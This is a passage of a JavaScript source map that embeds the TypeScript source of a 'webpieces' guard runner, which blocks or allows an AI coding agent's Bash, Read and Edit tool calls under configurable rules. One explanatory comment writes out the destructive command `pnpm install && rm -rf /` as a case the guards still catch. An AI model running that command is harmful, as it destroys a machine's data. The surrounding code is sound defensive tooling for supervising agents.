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","sourcesContent":["import * as path from 'path';\n\nimport { loadAndValidate, LoadedConfig, WebpiecesRulesConfig, ExcludePaths, isHookGuard, DEFAULT_HANG_TIMEOUT_MINUTES, RepoRootFinder, seedEntryForRule, CONFIG_FILENAME } from '@webpieces/rules-config';\n\nimport { buildContexts, buildBashContext } from './build-context';\nimport { EffectiveTree, EffectiveTreeResolver, atRoot } from './effective-tree';\nimport { loadRules, loadMatchRules, globMatches } from './load-rules';\nimport { MatchRule } from './rules/match-rule';\nimport { triggerMainSyncRefresh } from './main-sync-refresh';\nimport { logGuardDecision, GuardDecision, branchForLog } from './decision-log';\nimport { toError } from './to-error';\nimport { formatReport, READ_SUBJECT, BASH_SUBJECT } from './report';\nimport { ReadOnlyInspectionScan } from './read-only-inspection';\nimport { L0_ALLOW_JS, L0_CURE_ALLOW_JS } from '../bin/shim';\nimport { CONFIG_MISSING_REPORT, CONFIG_OUT_OF_SYNC_HEADER, writeGuardMatrixDoc, guardMatrixPointer } from './l0-matrix';\nimport {\n ToolKind, NormalizedToolInput, BlockedResult, HookMode,\n Rule, Violation, RuleGroup, RuleFailError, InformAiError,\n EditContext, FileContext, BashContext,\n} from './types';\n\n// Restrict loaded rules to the category this hook invocation runs. The two split hooks each pass a\n// disjoint category ('rules' = code-style, 'guards' = the hookGuards section); 'all' runs both (the\n// openclaw plugin adapter, a single before_tool_call hook). isHookGuard is the shared classifier in\n// @webpieces/rules-config.\nfunction filterByMode(rules: readonly Rule[], mode: HookMode): readonly Rule[] {\n if (mode === 'all') return rules;\n if (mode === 'guards') return rules.filter((r: Rule): boolean => isHookGuard(r.name));\n return rules.filter((r: Rule): boolean => !isHookGuard(r.name));\n}\n\n// Drop every rule excluded for this path (webpieces.config.json → excludePaths). ONE glob list: a path\n// listed there is hands-off for code-style rules and file-scoped guards alike, because webpieces either\n// governs a path or it does not. Per-rule carve-outs live in the rule's own `excludePaths`.\n// This is L1's FILTER (not a table row) — see guards/L1-location.md.\nexport function filterByExcludedPaths(rules: readonly Rule[], relativePath: string, ex: ExcludePaths): readonly Rule[] {\n if (ex.paths.some((p: string): boolean => globMatches(p, relativePath))) return [];\n return rules;\n}\n\n// The cwd a command actually runs from, after its own leading `cd`/`pushd` run. Thin delegate kept\n// for the callers (and specs) that only need the directory; the full tree classification — primary\n// clone vs linked worktree vs nested clone vs outside any repo — is EffectiveTreeResolver.resolve().\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nexport function effectiveBashCwd(command: string, cwd: string): string {\n return new EffectiveTreeResolver().effectiveCwd(command, cwd);\n}\n\n// A git or gh invocation anywhere in the command (start, or after a ;/&&/|| separator or pipe).\nconst GIT_OR_GH_RE = /(?:^|[;&|]\\s*)(?:git|gh)\\b/;\nexport function isGitOrGhCommand(command: string): boolean {\n return GIT_OR_GH_RE.test(command);\n}\n\n// Fire-and-forget the detached refresher when feature-branch-guard is loaded and active, so the\n// cache (.webpieces/main-sync-status.json) stays fresh as the AI works. The guard rule itself also\n// triggers this on Write/Edit; this covers the Bash path so the cache is warm on every command.\nfunction maybeRefreshMainSync(rules: readonly Rule[], workspaceRoot: string): void {\n const guard = rules.find((r: Rule): boolean => r.name === 'feature-branch-guard');\n if (guard && guard.shouldRun()) {\n triggerMainSyncRefresh(workspaceRoot, DEFAULT_HANG_TIMEOUT_MINUTES);\n }\n}\n\n// Fault C (webpieces.config.json missing) — the deny text lives in ./l0-matrix beside the rest of the\n// L0 fault table, so the message and the allowlist can never prescribe different cures. `cwd` is used\n// only to drop the matrix doc where the AI can read it (the config root does not exist yet here).\n//\n// `command` is '' on the file-tool path (there is no command to judge) and the Bash command otherwise:\n// a call on the L0 allowlist survives this block, which is how read-only orientation stays available\n// under C. You have to be able to see which tree you are standing in before you can decide what to\n// write into the config. Returns null when the call is allowed through.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction configMissingBlock(cwd: string, command: string = ''): BlockedResult | null {\n if (command !== '' && l0FaultAllows(command)) return null;\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n return new BlockedResult(CONFIG_MISSING_REPORT + guardMatrixPointer(writeGuardMatrixDoc(root)));\n}\n\nexport function run(\n toolKind: ToolKind,\n input: NormalizedToolInput,\n cwd: string,\n mode: HookMode = 'all',\n): BlockedResult | null {\n return runInternal(toolKind, input, cwd, mode);\n}\n\nfunction runInternal(\n toolKind: ToolKind,\n input: NormalizedToolInput,\n cwd: string,\n mode: HookMode,\n): BlockedResult | null {\n const loaded = loadAndValidate(cwd);\n if (loaded.configPath === null) return configMissingBlock(cwd);\n\n const workspaceRoot = path.dirname(loaded.configPath);\n\n // Always allow edits to webpieces.config.json — it's the fix target when out of sync\n if (path.resolve(input.filePath) === path.resolve(loaded.configPath)) {\n return null;\n }\n\n // Built-in/custom rules PLUS the client-authored match-rules (content guards). Match-rules run only\n // in the file-edit path (they are code-style, so filterByMode keeps them out of the bash/guards path).\n const allRules = [...loadRules(loaded.rulesConfig, workspaceRoot), ...loadMatchRules(loaded.matchRules)];\n const modeRules = filterByMode(allRules, mode);\n if (modeRules.length === 0) return null;\n\n // Suppress enforcement for files under this category's excludePaths (e.g. vendored repos under\n // repositories/**). Exclusion is all-or-nothing per category, so an excluded file drops the whole\n // rule set and is fully hands-off — no violations AND no config-sync nag on those files.\n const relativePath = path.relative(workspaceRoot, input.filePath);\n const rules = filterByExcludedPaths(modeRules, relativePath, loaded.excludePaths);\n if (rules.length === 0) return null;\n\n // Config-sync applies only to built-in/custom rules; match-rules have their own validated section\n // (loadAndValidate already rejected an invalid `match-rules`), so they must not trip the sync nag.\n const outOfSync = checkConfigSync(rules.filter((r: Rule) => !(r instanceof MatchRule)), loaded.rulesConfig);\n if (outOfSync) return outOfSync;\n\n const contexts = buildContexts(toolKind, input, workspaceRoot);\n\n const editGroups = runEditRules(rules, contexts.editContexts);\n const fileGroups = runFileRules(rules, contexts.fileContext);\n const allGroups = [...editGroups, ...fileGroups];\n\n if (allGroups.length === 0) return null;\n\n const report = formatReport(relativePath, allGroups);\n return new BlockedResult(report);\n}\n\nexport function runBash(command: string, cwd: string, mode: HookMode = 'all'): BlockedResult | null {\n return runBashInternal(command, cwd, mode);\n}\n\n// The name of the ONLY rule permitted to block a Read. Reads are the highest-blast-radius tool\n// there is, so this path is an explicit single-rule allowlist rather than the general rule loop.\nconst READ_SCOPED_GUARDS: ReadonlySet<string> = new Set(['read-stale-guard']);\n\n/**\n * The Read path. Deliberately NOT `run()`:\n *\n * - NO config-sync check. A rule present in code but missing from webpieces.config.json blocks\n * every Write/Edit/Bash by design — but applying that to Read would mean an upgrade that adds\n * any new rule instantly blocks the agent from reading the very config file it must edit to fix\n * it. Reads must never carry that failure mode.\n * - NO general rule loop. Only READ_SCOPED_GUARDS run, so no code-style rule can ever see a Read.\n * - Fails OPEN everywhere, including on a thrown rule (the caller catches and allows).\n *\n * Returns null (allow) unless the one guard fires.\n */\n// webpieces-disable no-function-outside-class -- sibling of run()/runBash() in this module; the whole runner is module-scope functions and a lone class for this one entry point would break the file's shape\nexport function runRead(filePath: string, cwd: string, mode: HookMode = 'all'): BlockedResult | null {\n // Code-style mode has nothing to say about a read.\n if (mode === 'rules') return null;\n\n const loaded = loadAndValidate(cwd);\n // No config → nothing to enforce. Unlike the edit path we do NOT block: an unconfigured repo\n // must still be readable.\n if (loaded.configPath === null) return null;\n\n const workspaceRoot = path.dirname(loaded.configPath);\n\n // Same git-repo-boundary governance as bash, through the SAME resolver: a read inside a different\n // clone is out of scope. (No command to parse here, so the shell cwd IS the effective cwd.)\n if (new EffectiveTreeResolver().resolve('', cwd, workspaceRoot).kind === 'foreign') return null;\n\n const relativePath = path.relative(workspaceRoot, filePath);\n const all = loadRules(loaded.rulesConfig, workspaceRoot);\n const rules = filterByExcludedPaths(\n all.filter((r: Rule): boolean => READ_SCOPED_GUARDS.has(r.name)),\n relativePath,\n loaded.excludePaths,\n );\n if (rules.length === 0) return null;\n\n const ctx = new FileContext('Read', filePath, relativePath, workspaceRoot, 0, 0, 0, 0);\n const groups = runFileRules(rules, ctx);\n if (groups.length === 0) return null;\n\n return new BlockedResult(formatReport(relativePath, groups, READ_SUBJECT));\n}\n\n// L0 cure bypass — every command on THE L0 allowlist passes here, ahead of any config load. A\n// webpieces.config.json that is ahead of the installed validator (new rule tokens the published\n// binary doesn't know yet) makes loadAndValidate() throw and would deny `pnpm install` — the very\n// command that updates the validator (deadlock).\n//\n// This used to test INSTALLER_ALLOW_JS alone, which made the config faults (C = config missing,\n// Y = config out of sync) accept a bare `pnpm install` while denying `rm -rf node_modules && pnpm\n// install` — the one cure that works when node_modules is CORRUPT rather than merely stale. Same\n// intent, opposite verdict, for no reason anyone recorded. Each alternative is still anchored at both\n// ends, so `pnpm install && rm -rf /` still falls to the guards.\n//\n// It tests the CURE subset (L0_CURE_ALLOW_JS), not the whole list, and the distinction matters here\n// and nowhere else: this call site runs BEFORE any fault has been established, so whatever it accepts\n// is waved past the L1 guards on a perfectly healthy repo too. A repair command has to be waved past —\n// it runs before the config can be loaded at all. Read-only ORIENTATION does not: it fixes nothing, and\n// letting `git status` through here would delete force-to-root as a side effect of adding `pwd`. Under\n// an actual fault, l0FaultAllows() below consults the WHOLE list.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction isL0CureCommand(command: string): boolean {\n return L0_CURE_ALLOW_JS.test(command.trim());\n}\n\n// The FULL L0 list, asked only where this file has actually detected an L0 fault (C = config missing,\n// Y = config out of sync). Those two are the JS-side faults; D/X/K are decided in the shim, which greps\n// the same union. Without this the orientation entry would be honoured under four faults and silently\n// dropped under the other two — precisely the per-fault carve-out the L0 rewrite removed.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction l0FaultAllows(command: string): boolean {\n return L0_ALLOW_JS.test(command.trim());\n}\n\n// Force-to-root: git/gh commands must run from the repo root of the tree they act on, where the guards\n// can reason about git state coherently. L1 row 4 — see guards/L1-location.md for the table\n// and the use cases; change this predicate and that file is stale until you update it.\n//\n// ONE variable decides it: `tree.effectiveCwd` — the directory the command actually runs in, which is\n// the shell's cwd unless the command leads with `cd <dir> &&`. Root or not-root, nothing else.\n//\n// It used to be `shellAtRoot || cdsToRoot`, two variables OR'd, and that produced opposite verdicts for\n// the same destination: `git status` with the shell in packages/http/ was BLOCKED, while\n// `cd packages/http && git status` from the root was ALLOWED, because shellAtRoot short-circuited\n// before the destination was ever considered. The point of this guard is to keep the agent's git work\n// at the root — an agent that cd's INTO a subdir has the same broken mental model as one that is\n// stranded there, so it gets the same answer now.\n//\n// The remedy is emitted as ONE runnable line, `cd <root> && <the original command>`, rather than as\n// \"cd first, then re-run\". That advice is what made this guard print the very command it had just\n// rejected, and it is unreliable in both directions: a `cd` INTO this repo sticks (so the next call\n// may start somewhere unexpected), while a `cd` OUT of it is reset by the harness (so a separate\n// `cd <worktree>` call buys nothing). One self-contained line is correct either way.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction gitFromSubdirBlock(command: string, tree: EffectiveTree): BlockedResult | null {\n const targetAtRoot = path.resolve(tree.effectiveCwd) === path.resolve(tree.root);\n if (!isGitOrGhCommand(command) || targetAtRoot) return null;\n const report =\n `❌ Run git/gh commands from the repo root, not a subdirectory.\\n` +\n ` Command runs in: ${tree.effectiveCwd}\\n` +\n ` Judged against: ${tree.root}\\n` +\n ` Run EXACTLY this instead, as ONE line (a bare \\`cd\\` in a separate call is not equivalent —\\n` +\n ` a \\`cd\\` inside this repo STICKS for later calls, and a \\`cd\\` out of it is reset by the harness):\\n` +\n ` ${atRoot(tree.root, command)}\\n` +\n ` A leading \\`cd <path> &&\\` is ACCEPTED by the guards — it cannot change what the command\\n` +\n ` does to the repo. (The webpieces guards evaluate the repo's git state at its root.)`;\n logGuardDecision(tree.root, new GuardDecision('force-to-root', 'Bash', command, branchForLog(tree.root), 'BLOCK', 'git/gh from subdir'));\n return new BlockedResult(report);\n}\n\n// The L0 cure bypass's audit line. Anchored at the repo root that owns `.webpieces` — RepoRootFinder\n// (config-walk-up first, then git toplevel) is the authority for that, and it is correct in a linked\n// worktree because each worktree checks out its own webpieces.config.json. This runs BEFORE\n// loadAndValidate, which is why it resolves the root itself rather than using workspaceRoot.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction logL0CureBypass(command: string, cwd: string): void {\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(root, new GuardDecision('-', 'Bash', command, branchForLog(root), 'ALLOW', 'L0 cure bypass (always allowed)'));\n}\n\n/**\n * Load the config for the bash path — but do NOT let an unloadable config trap the tools needed to\n * repair it.\n *\n * loadAndValidate throws an InformAiError when webpieces.config.json is unparseable (a real syntax\n * error, or leftover `<<<<<<< HEAD` markers mid-merge) or fails validation. That throw propagates to\n * the hook adapter, which fails CLOSED and denies the command — correct for work, since a config that\n * did not load means no guards ran. But it denied `cat`/`grep`/`sed -n` on webpieces.config.json too,\n * i.e. it blocked the only way to see the problem it was reporting. Observed live, twice.\n *\n * So: on a load failure, a provably-inert INSPECTION command is allowed through (returns null, \"no\n * block\"), matching the escape hatch every other layer already grants this file. Everything else —\n * every write, every git/gh command, every build — still hits the same hard failure as before. The\n * bypass cannot be widened by accident; see ReadOnlyInspectionScan for how narrow \"inert\" is.\n *\n * Returns the loaded config, or null meaning \"allow this command without guards\".\n */\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction loadConfigOrAllowInspection(command: string, cwd: string): LoadedConfig | null {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions -- rethrown unchanged unless the command is provably inert\n try {\n return loadAndValidate(cwd);\n } catch (err: unknown) {\n const error = toError(err);\n if (error instanceof InformAiError && new ReadOnlyInspectionScan().isReadOnlyInspection(command)) {\n return null;\n }\n throw error;\n }\n}\n\nfunction runBashInternal(command: string, cwd: string, mode: HookMode): BlockedResult | null {\n if (isL0CureCommand(command)) {\n logL0CureBypass(command, cwd);\n return null;\n }\n\n const loaded = loadConfigOrAllowInspection(command, cwd);\n // null = the config would not load AND this command only inspects → allow, see the helper.\n if (loaded === null) return null;\n if (loaded.configPath === null) return configMissingBlock(cwd, command); // fault C\n\n const workspaceRoot = path.dirname(loaded.configPath);\n\n // WHICH TREE does this command act on? Not the shell's cwd: a `cd` OUT of the workspace is reset\n // by the harness and one INSIDE it persists, so neither can be assumed (see EffectiveTree).\n // ONE resolver answers this for the guards AND for force-to-root below, so the two can never\n // disagree about which tree you are in.\n const tree = new EffectiveTreeResolver().resolve(command, cwd, workspaceRoot);\n\n // Git-repo-boundary governance: the command runs inside a DIFFERENT git repo than this\n // webpieces.config governs (e.g. a clone under repositories/). Out of scope → allow, hands-off.\n // Intentional, not a silent hole. A LINKED WORKTREE of this repo is deliberately NOT foreign — it\n // is the same project, so the guards run against THAT tree's branch and cache.\n if (tree.kind === 'foreign') {\n logGuardDecision(workspaceRoot, new GuardDecision('-', 'Bash', command, branchForLog(workspaceRoot), 'ALLOW', 'foreign git repo (out of scope)'));\n return null;\n }\n\n // Honour excludePaths on the bash path too (not just Read/Edit): a command whose effective\n // cwd sits under an excluded tree (e.g. repositories/**) drops the whole guard set — matching how\n // runInternal/runRead treat file paths. The relative path is '' when there is no `cd` (root), which\n // matches no exclusion glob, so a plain command at the repo root is unaffected.\n const rules = filterByExcludedPaths(\n filterByMode(loadRules(loaded.rulesConfig, workspaceRoot), mode),\n path.relative(workspaceRoot, tree.effectiveCwd),\n loaded.excludePaths,\n );\n if (rules.length === 0) return null;\n\n const outOfSync = checkConfigSync(rules, loaded.rulesConfig); // fault Y — L0 list wins, as under C\n if (outOfSync) return l0FaultAllows(command) ? null : outOfSync;\n\n const subdirBlock = gitFromSubdirBlock(command, tree);\n if (subdirBlock) return subdirBlock;\n\n // Keep the feature-branch-guard cache warm on EVERY command (not just Write/Edit): the AI runs\n // far more bash than edits, so refreshing here means the guard's next file-edit check reads a\n // fresh status. Detached + fire-and-forget — never blocks the command. Only when the guard is\n // loaded (guards/all mode) and enabled, so a project that opted out never triggers git fetches.\n // Keyed on the JUDGED tree, so a worktree's cache is refreshed rather than the primary clone's.\n maybeRefreshMainSync(rules, tree.root);\n\n const ctx = buildBashContext(command, tree);\n const groups = runBashRules(rules, ctx);\n if (groups.length === 0) {\n // Record the ALLOW only for git/gh commands — the operations the bash guards actually reason\n // about (branch create, commit, push, merge, PR). Skipping ls/cat/grep keeps the audit log\n // focused (the whole point of the log is \"why did/didn't a guard fire?\"). Blocks are always\n // logged below.\n if (/\\b(?:git|gh)\\b/.test(command)) {\n logGuardDecision(tree.root, new GuardDecision('-', 'Bash', command, branchForLog(tree.root), 'ALLOW', 'no bash-guard block'));\n }\n return null;\n }\n\n const ruleNames = groups.map((g: RuleGroup): string => g.ruleName).join(',');\n logGuardDecision(tree.root, new GuardDecision(ruleNames, 'Bash', command, branchForLog(tree.root), 'BLOCK', 'bash-guard block'));\n const report = formatReport(commandLabel(command), groups, BASH_SUBJECT) + exemptTreesHint(groups, loaded.excludePaths.paths);\n return new BlockedResult(report);\n}\n\n// The bash report's subject line. It used to be the literal string `<bash>`, which told the agent\n// nothing; the command itself is what was blocked, so name it — truncated, because a heredoc-bearing\n// command can run to thousands of characters and the violation lines already carry the detail.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction commandLabel(command: string): string {\n const oneLine = command.replace(/\\s+/g, ' ').trim();\n const MAX = 100;\n return oneLine.length <= MAX ? oneLine : oneLine.slice(0, MAX) + '…';\n}\n\n// When a push/PR block fires AND the config exempts vendored/nested trees, surface the escape hatch the\n// AI cannot otherwise discover: git/gh run UNGUARDED inside those trees if it cd's there first (each is\n// governed by its own repo, not this one). Scoped to pr-creation-or-push-guard — for the other guards\n// \"cd into an exempt tree\" is not the remedy — and emitted only when such trees are actually configured,\n// so a repo without exemptions never sees the noise.\n// webpieces-disable no-function-outside-class -- sibling of the module-scope runner helpers; the whole file is functions and a lone class here would break its shape\nfunction exemptTreesHint(groups: readonly RuleGroup[], exemptGuards: readonly string[]): string {\n if (exemptGuards.length === 0) return '';\n if (!groups.some((g: RuleGroup): boolean => g.ruleName === 'pr-creation-or-push-guard')) return '';\n return `\\n\\nℹ️ Working in a nested repo under one of these exempt trees? cd into it first and run git/gh `\n + `normally there — the webpieces guards do NOT govern them (each is its own repo): ${exemptGuards.join(', ')}.`;\n}\n\n// The set of rule names explicitly present in webpieces.config.json (every key except rulesDir).\nfunction configuredRuleNames(config: WebpiecesRulesConfig): ReadonlySet<string> {\n return new Set(Object.keys(config).filter((k: string) => k !== 'rulesDir'));\n}\n\nfunction checkConfigSync(rules: readonly Rule[], config: WebpiecesRulesConfig): BlockedResult | null {\n const configured = configuredRuleNames(config);\n const unconfiguredRules = rules.filter((r: Rule) => !configured.has(r.name));\n if (unconfiguredRules.length === 0) return null;\n\n // ONE action, no menu, no escalation — the config-validation invariant (GUARD_MATRIX.md): every\n // config problem cures to \"make the file right\", and editing it is never denied. This message used\n // to tell the agent to interview the human about each rule; agents did not do it, so the block just\n // stalled. Each rule now ships a paste-ready entry at its recommended mode.\n //\n // Note this is the CONFIG-BEHIND-CODE direction. The opposite one — the config names a rule the\n // installed validator has no schema for — is unknownRuleError() in rules-config/validate-config.ts\n // and surfaces in the validation banner, not here.\n const lines = [\n // Fault Y's header lives in ./l0-matrix beside the rest of the L0 fault table (same reason as\n // CONFIG_MISSING_REPORT: one place states what this fault is and what cures it).\n CONFIG_OUT_OF_SYNC_HEADER,\n '',\n `Add an entry for each rule below to ${CONFIG_FILENAME}. Editing that file is ALWAYS allowed through`,\n 'the guard — including right now, while this block is up — so paste the entries and retry.',\n '',\n 'Each entry below is ready to paste at its recommended mode; adjust the option values if your',\n 'project needs different ones.',\n '',\n `Do NOT delete a rule from ${CONFIG_FILENAME} to silence it — an entry is REQUIRED for every rule,`,\n 'and \"mode\": \"OFF\" is how a rule is turned off.',\n '',\n ];\n\n for (const rule of unconfiguredRules) {\n lines.push(`--- ${rule.name} ---`);\n lines.push(`Description: ${rule.description}`);\n const opts = rule.defaultOptions;\n const optKeys = Object.keys(opts);\n if (optKeys.length > 0) {\n lines.push(`Available options (suggested defaults shown):`);\n for (const key of optKeys) {\n lines.push(` ${key}: ${JSON.stringify(opts[key])}`);\n }\n } else {\n lines.push('Available options: none beyond mode');\n }\n // The SAME entry the installer would seed: recommended mode, both hatches, and every other\n // schema-required field — so pasting it satisfies the loader in one pass.\n lines.push(`Entry to add to ${CONFIG_FILENAME}:`);\n lines.push(` \"${rule.name}\": ${JSON.stringify(seedEntryForRule(rule.name))}`);\n lines.push('');\n }\n\n return new BlockedResult(lines.join('\\n'));\n}\n\n// N-legs pattern: each rule runs independently so one rule can never abort the others. A rule may\n// EITHER return Violation[] OR throw — both accumulate here into visible violations the AI sees:\n// - a thrown RuleFailError → an expected, well-formed violation (its line/snippet/fixHints kept);\n// - a thrown plain Error → a \"crashed\" violation (a bug, surfaced not swallowed).\nexport function runRuleCheck(rule: Rule, ctx: EditContext | FileContext | BashContext): readonly Violation[] {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return rule.check(ctx);\n } catch (err: unknown) {\n const 